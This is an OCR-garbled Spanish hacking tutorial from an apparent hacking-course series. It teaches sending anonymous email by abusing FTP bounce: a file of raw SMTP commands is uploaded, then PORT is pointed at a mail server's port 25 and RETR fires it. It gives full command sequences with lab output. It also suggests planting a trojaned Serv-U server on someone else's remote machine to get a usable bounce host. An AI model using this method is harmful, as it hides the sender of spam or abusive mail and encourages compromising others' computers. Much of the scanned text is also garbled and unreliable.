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Préactica 29. Enviar mail anénimos usando un FTP (Por HxC Mods-Adm)

Bien amigos, la cosa se complica, y es que vamos a rizar el rizo e intentemos hacer lo mismo de antes
pero a través de un FTP Server.

En cuanto a lo demas, todo lo dicho anteriormente sigue igual, necesitamos de un SMTP anonimo y/o que
admita Relay, aunque siempre cabe la posibilidad de enviarlo al Servidor FTP del mismo dominio del
mismisimo servidor de Correo, ya que cuando lo reciba lo dejara salir... Cielos!! Cémo no voy a permitir
enviar algo que me pide una maquina de mi mismo proveedor, pensard el SMTP....

Sin embargo nuestro el servidor FTP elegido debe reunir “otros” requisitos;

1°) Debe permitir que escribamos en él, es decir que tengamos acceso de escritura
2°) Debe aceptar comandos PORT
3°) Debe tener desbloqueada la opcion de FTP Bounce Attack, es decir que debe permitir FXP

Tampoco entraremos “de lleno” en el protocolo FTP, aunque si se sentaran bases imprescindibles
Lo que si vamos a aprender aqui son varias cosas:

e Cbmo funciona un Servidor FTP
e Co6mo conectarnos a un FTP por linea de comandos

Seguro que estaras pensando que esto es muy complicado y que te va a ser imposible encontrar servidores
que permitan FTP Bounce Attack y que ademas puedas escribir en ellos (si son cuentas anénimas mejor)
y ademas que admitan comandos PORT, y es cierto, cada dia abundan menos, pero..... {Por qué no usar el
Serv-U troyanizado sobre una maquina remota para esto?

Y es que por eso incluyo esta practica, porque hecho lo dificil, que es configurar el FTP Server y subido a
un PC remoto, ya lo tenemos “casi” todo.

AUn asi, para realizar la practica, puedes configurar en tu pc/red el SERV-U y probarlo, solo que ademas
necesitaras un Servidor de Correo, y un cliente, vamos que necesitards de al menos tres maquinas para
ello. Otra posibilidad es la de usar una cuenta propia en algin FTP publico, por ejemplo en ftp.iespana.es,
claro que si lo haces asi ADIOS al anonimato, cuando se reciba el mail se sabrd que fue ftp.iespana.es
quien lo envi6 y después de las consultas pertinentes daran contigo, pero para probar con nosotros
mismOs Nos Servira.
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Cdémo funciona una conexiéon FTP

Parece obvio, pero lo vamos a explicar:

1°) Nuestro cliente FTP se conecta al Server
2°) Accede al Directorio

3°) Descarga el archivo o lo archivos

4% Se desconecta

El misterio de los misterios en las conexiones FTP reside en el paso 3°) que es cuando se produce “la
conversacion y transferencia” de datos entre el servidor y cliente.

Comprendiendo el paso 3°
3.1.- El cliente le pide uno o varios archivos al Server FTP.

3.2.- El cliente FTP crea el mismo archivo en su maquina y lo abre para copiar los datos que se
va a descargar.

3.4. El server FTP se conecta y le manda lo que le piden.
3.5. El cliente FTP se desconecta cuando deja de recibir los datos.

Se ha resaltado el aspecto que nos ocupa. Es el momento “clave” de la transferencia. ;Qué pasaria si el
cliente FTP le indicase al Servidor que “le transfiera” el fichero a OTRA direccién IP y en lugar de por
un puerto dinamico y transparente, a un puerto predeterminado?

Pues acabas de descubrir el concepto de ésta practica, se trata de que en ese momento de la conexién
“obliguemos” al FTP server a transferir un archivo al servidor SMTP que nos dé la real gana y por el
puerto 25.

Si los servidores no estan correctamente configurados, este mecanismo puede servir para delimitar
medidas de restriccion de acceso, o para enviar informaciones de una manera precisa (correo electronico
0 mensaje foro de discusién), haciendo dificil la determinacion de la fuente de informacion.

El comando PORT permite indicar sobre qué puerto de una maquina tendra lugar la transferencia de un
fichero. Si este puerto es uno de los puertos por defecto utilizado por un protocolo Internet y que el
fichero esta concebido para corresponder a comandos en este protocolo, la transferencia de fichero puede
resultar en una operacioén que no sea una simple transferencia de fichero. En el ejemplo que nos ocupa, si
el comando PORT se utiliza para dirigir los datos sobre el puerto 25 de un servidor SMTP, la
transferencia de fichero puede resultar en el envio de un mensaje de correo electrénico

Y es que todo esto viene de que el protocolo FTP es “algo” especial, se necesitan dos conexiones y dos
puertos diferentes para que la transferencia de archivos tenga éxito, esas conexiones por el lado del
servidor y suponiendo el puerto por defecto de FTP son:

Conexion de Ordenes
* a través del puerto 21

Conexion de Datos

* a través del puerto 20 si usamos PORT Mode
* a través de un puerto dindmico (1024 a 65535) si se usa PASV
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En Windows los puertos dindmicos pueden prefijarse mediante una clave especial del registro, si no se
indica lo contrario sera entre el 1024 y 5000, la clave en cuestién es:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\Tcpip\Parameters
Tipo de dato: REG_WORD

Rango Valido: 5000-65534

Predeterminado: 5000

Presente Predeterminado: No

Esta clave determina el valor de puertos dindmicos y transparentes que puede usar Windows en las
conexiones (en todas, no sélo en FTP) y el valor establecido afecta tanto a los puertos TCP y UDP

¢Para qué me sirve esto?

Pues primero para conocer un poco mas a Windows, pero sobretodo, para poner remedio y fin a muchos
de los problemas que afectan a tu router o firewall a la hora de configurar una aplicacidn que pueda abrir
puertos dinamicos, como es un servidor FTP en modo PASV

Si configuramos el Server en modo PORT deberemos habilitar en el router el/los puertos 20 y 21 (al
menos)

Si configuramos el Server en modo PASV deberemos habilitar, el puerto 21 y los puertos dindmicos del
rango que especifica la clave anterior.

Imagino que algunos “han visto la luz al final del tunel”, son muchos los post que indican “desactiva
PASV, fija el servidor en el puerto 21 y abre el router para los puertos 20 y 21, bueno pues ya no es
preciso, ahora podemos poner nuestro Servidor FTP en modo PASV.

Nuestro mayor problema reside en que si no usamos un Firewall apropiado, abrir 5000 puertos en el
router puede ser un coladero, asi que cuidado, con esto que te pueden “alborotar” el equipo.

También esto explica el por qué, en ocasiones, los puertos de numeracion muy alta fallan, el router o
Firewall los protege y/o a windows se “le escapan de las manos” si se supera la clave del registro
comentada.

En fin, sigamos con lo nuestro:

- Para una conexion FTP se deben establecer dos canales de comunicacion: el canal de
ordenes y el canal de Datos.

- Tanto en si se utiliza el modo PASV o PORT el canal de ordenes se establece de idéntica
forma

- Laconexion de datos mediante PORT, es el Servidor FTP quien se conecta la cliente

- Laconexion de datos mediante PASV, es el cliente quien se conecta al Servidor FTP

Como ves tras esta explicacion, el modo PASV no nos interesa para lo que queremos hacer, puesto que
es el cliente quien se conecta al servidor a través de un puerto dinamico que nos facilitara éste tltimo, o
sea, que no podremos “controlar” el canal de datos, dependeremos del canal y puerto abierto por el server.
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Bueno pues después de todo este rollo, llega la hora explicar algo de los comandos de FTP

Los mandatos gue vamos a usar del lado del servidor son:

USER, PASS, PORT, PASV, CWD, STOR, RETR, QUIT

Los mandatos que vamos a usar del lado del cliente son:

Open, quote, put, send, bye

Como puedes suponer existe un convenio determinado por el RFC del protocolo FTP y es que los
comandos del lado del servidor se escriben en mayusculas, y los del lado del cliente en mindsculas, no es
importante, a menos que se haya establecido case sensitive en el servidor, practicamente todos los
servidores y clientes FTP no tendran en cuenta esa distincion, aunque aqui yo la haga.

Voy a mostrar dos pantallas de los comandos validos FTP,

Mandatos validos para el Cliente:

- simbaole del sistema - ftp

iz Lzt e Litaieml i
debug L
dir mila lote

digconmest

et
g Lok

Mandatos validos del lado del servidor

- simbalo del sistema - ftp

Todo depende del “lado en el que estemos” para que se puedan ejecutar unos y otros.
También nos hara falta un servidor FTP y un cliente FTP, eso es facil:

Como servidor FTP usaremos a nuestro queridisimo SERV-U
Como cliente usaremos a telnet o el programa ftp.exe de la linea de comandos

¢Por qué no un cliente con GUI como FlashXP u otros? Pues, aunque también se podria hacer, por lo
menos con FlashXP, por una vez en la vida serd mas comodo y sencillo usar la linea de comandos.

También vamos a necesitar un fichero a transferir, podria ser uno cualquiera, pero como lo que queremos
es mandar un mail, el archivo debe contener “la estructura” del mail que sera enviado al servidor SMTP,
Yo lo he llamado mim.txt, y es éste:
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A& mim.txt - Bloc de nota =10 x|
archivo Edicion  Formato  &yuda
HELO Tocalhost “

MAIL FROM:carol®terra.es
RCPT TO:destinofterra.es
DATA

Hola desde FTP

QUIT

M

Ni que decir tiene que donde pone destino@terra.es hay que poner la direccion correcta del destinatario
del correo y en lugar de carol@terra.es debes poner el remitente, o deja éste mismo, todo lo dicho en la
practica nimero 5 se debe aplicar aqui acerca de las normas del remitente del correo, relay, etc.

A por ello, vamos a realizar la conexion mediante telnet, suponiendo que el servidor FTP (el SERVU)
esta corriendo en el puerto 5555, sin restricciones (admitird usuarios anénimos) y lo mas importante: la
casilla de verificacion FTP Bounce Attack DESACTIVADA!!!

x|
— Server zetup
FTP port number IEEEE Frimary dir change mezzage file m
Max. zpeed I KBytesdzec | | /D ratios
Mas. no. of users |3— Secandary dir change mezsage file e
| | Dir cache
Primary file containing ‘links'
¥ Enable security | |
[ Enciypt pazswords Secondary file containing 'link '
" Check anorymous passwords | |
[ Block anti time-out schemes
[ Delete partially uploaded files Help
™ Block "FTP_bounce' attacks [note: thiz also blocks server-to-server file ransfers]
[ Block users who connect more than [4 times within |3E| secands far |5 rrinutes Cancel
[ Usze all lower case for files/dirs ok

Al igual que antes nos debemos buscar un servidor SMTP que admita relay, debemos conocer su IP y el
puerto por el que escucha, que por lo general seré el 25.

Esta practica estda implementada bajo una red local, de forma que deberas sustituir las IP’s
correspondientes, veamos la estructura;

Cliente: nosotros, IP 172.28.100.100; User:usuariop, password: kaka

SMTP: Servidor de correo, IP 172.28.0.9

FTP: Servidor FTP, IP 172.28.130.255
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Repito,

e Busca un servidor de correo que admita relay y sustituye la IP 172.28.0.9 por la suya

e Busca un servidor FTP al que tengas acceso de escritura y que acepte comandos PORT vy sustituye la
IP 172.28.130.255 por la suya, puedes probar con tu propia cuenta de FTP en algin servidor o troyaniza

una maquina remota con el SERV-U.

Lo primero que haremos es abrir una shell de comandos y situarnos en el directorio donde tengamos el
fichero a transferir, en mi caso el archivo se llama mim.txt y esta en la carpeta mailFTP

Asi que....

= simbaolo del sistema .

od mailPTP

L1
de la wnidad € no tiesne etigueta.
i da savie del volumen &z A413-ADEC

Directorio de C2wmailFTP

"% g24.545.824

C:wmailPTP>

Una vez verificada la situacion y la existencia del fichero a transferir, usemos el cliente ftp.exe
Escribimos ftp y enter

Nos mostrara una shell, que pone ftp>

Entonces nos conectamos mediante open 172.28.130.255 5555

Nos pedira el nombre de usuario y contrasefia, se lo ponemos, usuariop [Enter] y kaka [enter]

Aqui lo tienes todo seguidito:

Simbolo del sistema - ftp

C:mailFTP>ftp
ftp» open 172_.28_.13@._255 5555
Conectado a 172_.28.138_.255.
228 Serv—ll FTP-Server vZ.5%e for WinSock weady...
Usunario €172.28_130_.255:{nonel): usuariop
331 User name okay,. need password.
Contraseta:
§3E}User logged in,. proceed.
t

AW

Recuerda que el puerto a la escucha del servidor FTP era el 5555, por eso se indicé asi en la instruccion
open, de no poner nada intentaria acceder al puerto 21.

Observa también, que la contrasefia no se muestra, PERO SE ESCRIBIO!!!, vale? Que no es darle a enter
nada mas.

Ahora vamos a comprobar el directorio local (el de nuestro PC) y el del Servidor, para ello:
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Lcd es una orden del cliente que sitla el directorio local en donde se ejecuté ftp, nos interesa por que ahi
es donde esta el archivo mim.txt a transferir

Quote CWD, es la orden que pondra a nuestro servidor FTP en el directorio home, para ejecutar los
mandatos del lado del servidor utilizamos quote, nos muestra que el directorio del server donde se
guardard el archivo es C:\

Después haremos la transferencia, ahora no importa si usamos PORT o PASV, bueno importard
dependiendo del Server, lo que quiero decir es que no tenemos por qué trucar nada puesto que lo Gnico
gue queremos es que se guarde el archivo mim.txt en el destino.

Para eso usaremos put o send, de momento da igual, en la siguiente pantalla lo tienes todo seguido:

[#]Simbolo del sistema - ftp

C:mailFTP>ftp

ftp> open 172_.28_.138_255 LLLS

Conectado a 172.28.138_255.

228 Serv—-lU FTP-Server v2.5e for WinSock ready...
Uzuwario (172.28.138.255::<none?>: usuariop
331 User name okay, need password.
Contraseta:

238 User logged in,. proceed.

ftp» lcd

Directorio local ahora C:smailFTP.

ftp> guote CUD

258 Directory changed to Ac:/

2808 PORT Command successful.

158 Opening ASCII mode data connection for mim.txt.
226 Transfer complete.

itp; 79 hytes enviados en B.805egundosz 77006, B0KB./= .
tp

Como ves la transferencia ha sido completa, ahora ya tenemos nuestro fichero mim.txt en el servidor.

Ahora vamos a transferir ese archivo al servidor SMTP, para ello tendremos que usar las ordenes quote
gue nos permiten ejecutar las instrucciones del lado del servidor, y como no, alterar el comando PORT,
por que sino nos lo bajaremos a nosotros mismos...

Escribimos:

Quote CWD Cambia al direcotrio home del server

Quote PORT 172,28,0,9,0,25 Indica que la transferencia se hara al servidor SMTP
Quote STOR mim.txt Prepara el archivo almacén

Quote RETR mim.txt Termina la transferencia y la envia.

Quit Fin de la conexién

Explicacion comando STOR.

Si hubiésemos querido realizar una transferencia “normal” el comando STOR es fundamental, éste no es
el caso, la transferencia “no es normal” asi que NO ENVIES el comando STOR, porque sino no
funcionara.
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Si te preguntas por qué yo he tenido que incluir el comando STOR es simplemente por “un error” en la
captura de la pantalla, bueno realmente no se debe a un error, es que hice la transferencia directa y al
mismo tiempo entre el cliente-Servidor FTP-Servidor de Correo, vamos que no tenia el “archivo subido”
previamente al Servidor FTP, si t0 has seguido paso a paso los ejemplos, no necesitards STOR.

[#]Simbolo del sistema

Conectado a 172. 28 138.255.

228 Serv—U FTP-Server v2.5%e for WinSock ready...

Usuarie €172.28_.130.255:-<none2>: usuariop

331 User name okay,. need password.
Contrazeta:

238 User logged in,. proceed.

ftp> lecd

Directorio local ahora C:mailFTP.
ftp>* guote CUWD

258 Directory changed to Ac:/

ftp> put

Archive local mim.txt

Archive remoto mim.txt

280 PORT Command successzful.

158 Opening ASCII mode data connection
226 Transfer complete.

ftp: 99 bytes enviades en B, BB5egundos
ftp> gquote PORT 172.28.8.9.8.25

28080 PORT Command successful.

ftp» guote STOR mim.txt

158 Opening ASCII mode data connection
ftp> guote RETR mim.txt

226 Transfer complete.

ftp>* gquit

158 Opening ASCII mode data connection

C:smailFTP>

for mim.txt.

290088 . A0KB. =

También se puede hacer desde telnet, una vez situado el archivo en el servidor....

Escribimos telnet 172.28.130.255 5555

Y después lo mismo que antes pero sin quote, por que ahora estamos conectados DIRECTAMENTE del

lado del Servidor.

[v%]simbolo del sistema

228 Serv—U FTP-Server vZ.5e for WinSock ready...

USER usuariop

331 User name okay. need password.
PASS kaka

238 User logged in, proceed.

PORT 172.28.8.9.8.25

200 PORT Command successful.

CLUD

258 Dlrectur changed to ~sc:rs

158 Opening ASCII mode data connection
226 Transfer complete.

RETR mim.txt

158 Opening ASCII mode data connection
Zﬁ?TTPanSPEP complete.

221 Goodhye?t

Se ha perdido la conexidn con el host.

C:~mailFTP>

for

for

mim.txt.

mim.txt

Esta seria la imagen del archivo transferido al Servidor mail, como siempre taché los verdaderos nombres

de direcciones de correo, son internas, de mi red....
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*** RECUERDA NO EJECUTAR EL COMANDO STOR, QUE SINO NO TE FUNCIONARA!!

Esta es una pantalla del Servidor de Correo en el momento de recibir el mensaje, ésta es otra de las
razones de realizar la practica en Red Local, asi se puede “controlar” y vigilar que todo sale como se
espera....

i ArGoSoft Mol Serser Peo for WiniT/ Z000,20 b =B =]
Fis Odwin Tooks  Sesorky  Help
B & P B[S eSS EaEE P
IRA0470003 D:16:2fF - BaTver 1§ Fuobbad
1370442007 O:16:2F - SHETF sexrwesr stacted. Liztamins on poxt I3
LRA04 /2003 Qr16:2% - FOP2 SEIvat FuaEtad. Lifcaning on port 110
1370442007 2:17:37 FPazasrted SATF connection from L72.20.0.3 FLTZ.Z@.0.31
LR 0d g Q1747 - Li Eéﬂm ArCpBol Mail ZFerver Ped fof WLENT/S200DHF
IBS04/2007 D:17:48 £ 11 HELD Z oeTin
LS04 fP00A Qrl1TidE - 11 Z80 Paleoms. 172,28, 172.28.0.%2), pleasad 2o maan voau
IRAO04/2003 01748 = 11 MARIL FEON;
LRs0dr00d 01748 - & LI ZE0 Femdaz oF. ..
IRAO4F2003 01748 - o LI RCFT TD: = =
L3P0 200 SolVi4F - o 11 Z5U FEscipisct ﬂ' HH. ..
LRA04/2003 01747 - o LI BATA
L3704/ 2003 T:-17:4F - o 11 354 Eoter mmil. sod wiklh ". " on e lains by itsslf
LBA04 /2003 Q:17:4% - o 1l IED Mesfade acceeced (o dalivecy.
19704/2003 0:17:4% I 21 Delivearing oo I
LR 0d g Qr1vidaz - Li ULt
L8S04 2003 D:17: 50 £ Ll ZIl Ales hs
LR 04 r0ng Q1750 - BETP congmcuics wiek 172,22 0.5 117,28 0.%) anded. IDsl
IP/O472003 01780 = [ 2] Mecscages trcn IR i=livered to
Ciskromry on 4

La pregunta: ;Por qué no has hecho esto mismo usando un ftp y un smtp de Internet?

La respuesta no te va a gustar, practicamente hoy en dia es imposible, debe estar venus alineado con
Jupiter y granizar el dia 29 de febrero de un afio bisiesto que termine en 8 para que esto se lleve a cabo,
vamos que deben estar mal configurados todos los Servidores, pero no importa, seguro que has aprendido
muchas cosas que antes desconocias de los servidores y clientes FTP, no?

Bueno, no funcionara con FTP’s normalitos y bien configurados, pero ya sabes, si configuras el SERV-U
apropiadamente y lo “colocas” en una maquina que actie de FTP, si que deberia funcionar.

Enlaces recomendados para seguir esta préactica:

RFC del protocolo FTP  http://www.w3.0rg/Protocols/rfc959
Breve explicacion de FTP http://gsyc.escet.urjc.es/docencia/asignaturas/ral-00-01/transpas/ftp.pdf
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